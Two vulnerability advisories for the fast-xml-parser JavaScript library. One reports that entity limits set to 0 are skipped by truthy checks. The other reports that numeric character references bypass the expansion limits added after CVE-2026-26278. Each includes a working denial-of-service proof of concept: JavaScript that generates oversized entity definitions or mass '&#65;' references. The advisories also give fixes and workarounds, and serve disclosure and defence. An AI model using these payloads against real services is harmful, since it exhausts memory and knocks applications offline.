Summary

The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.

Details

The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):

js // src/xmlparser/OptionsBuilder.js:111 maxEntityCount: value.maxEntityCount ?? 100, // src/xmlparser/OptionsBuilder.js:107 maxEntitySize: value.maxEntitySize ?? 10000,

However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:

js // src/xmlparser/DocTypeReader.js:30-32 if (this.options.enabled !== false && this.options.maxEntityCount && // ← 0 is falsy, skips check entityCount >= this.options.maxEntityCount) { throw new Error(Entity count ...); }

js // src/xmlparser/DocTypeReader.js:128-130 if (this.options.enabled !== false && this.options.maxEntitySize && // ← 0 is falsy, skips check entityValue.length > this.options.maxEntitySize) { throw new Error(Entity "${entityName}" size ...); }

The execution flow is:

1. Developer configures processEntities: { maxEntityCount: 0, maxEntitySize: 0 } intending to block all entity definitions. 2. OptionsBuilder.normalizeProcessEntities preserves the 0 values via ?? (correct behavior). 3. Attacker supplies XML with a DOCTYPE containing many large entities. 4. DocTypeReader.readDocType evaluates this.options.maxEntityCount && ... — since 0 is falsy, the entire condition is false. 5. DocTypeReader.readEntityExp evaluates this.options.maxEntitySize && ... — same result. 6. All entity count and size limits are bypassed; entities are parsed without restriction.

PoC

js const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all" const parser = new XMLParser({ processEntities: { enabled: true, maxEntityCount: 0, // should mean "zero entities allowed" maxEntitySize: 0 // should mean "zero-length entities only" } });

// Generate XML with many large entities let entities = ""; for (let i = 0; i < 1000; i++) { entities += <!ENTITY e${i} "${"A".repeat(100000)}">; }

const xml = <?xml version="1.0"?> <!DOCTYPE foo [ ${entities} ]> <foo>&e0;</foo>;

// This should throw "Entity count exceeds maximum" but does not try { const result = parser.parse(xml); console.log("VULNERABLE: parsed without error, entities bypassed limits"); } catch (e) { console.log("SAFE:", e.message); }

// Control test: setting maxEntityCount to 1 correctly blocks const safeParser = new XMLParser({ processEntities: { enabled: true, maxEntityCount: 1, maxEntitySize: 100 } });

try { safeParser.parse(xml); console.log("ERROR: should have thrown"); } catch (e) { console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)" }

Expected output: VULNERABLE: parsed without error, entities bypassed limits CONTROL: Entity count (2) exceeds maximum allowed (1)

Impact

- Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured maxEntityCount: 0 or maxEntitySize: 0, intending to prohibit entities entirely. - Security control bypass: Developers who explicitly set restrictive limits to 0 receive no protection — the opposite of their intent. This creates a false sense of security. - Scope: Only applications that explicitly set these limits to 0 are affected. The default configuration (maxEntityCount: 100, maxEntitySize: 10000) is not vulnerable. The enabled: false option correctly disables entity processing entirely and is not affected.

Recommended Fix

Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:

js // src/xmlparser/DocTypeReader.js:30-32 — replace: if (this.options.enabled !== false && this.options.maxEntityCount && entityCount >= this.options.maxEntityCount) {

// with: if (this.options.enabled !== false && typeof this.options.maxEntityCount === 'number' && entityCount >= this.options.maxEntityCount) {

js // src/xmlparser/DocTypeReader.js:128-130 — replace: if (this.options.enabled !== false && this.options.maxEntitySize && entityValue.length > this.options.maxEntitySize) {

// with: if (this.options.enabled !== false && typeof this.options.maxEntitySize === 'number' && entityValue.length > this.options.maxEntitySize) {

Workaround

If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.

Summary

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (&lt;, &gt;, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

1. Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix. 2. Lines 674-677: lastEntities loop — replaces standard entities including numdec (/&#([0-9]{1,7});/g) and numhex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

javascript const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them const parser = new XMLParser({ processEntities: { enabled: true, maxTotalExpansions: 10, maxExpandedLength: 100, maxEntityCount: 1, maxEntitySize: 10 } });

// 100K numeric entity references — should be blocked by maxTotalExpansions=10 const xml = <root>${'&#65;'.repeat(100000)}</root>; const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely console.log('Output length:', result.root.length); // 500000 console.log('Expected max:', 100); // limit was 100

Results: - 100K &#65; references → 500,000 char output (5x default maxExpandedLength of 100,000) - 1M references → 5,000,000 char output, ~147MB memory consumed - Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars - Hex entities (&#x41;) exhibit the same bypass

Impact

Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause: - Excessive memory allocation (147MB+ for 1M entity references) - CPU consumption during regex replacement - Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

Suggested Fix

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

Workaround

Set htmlEntities:false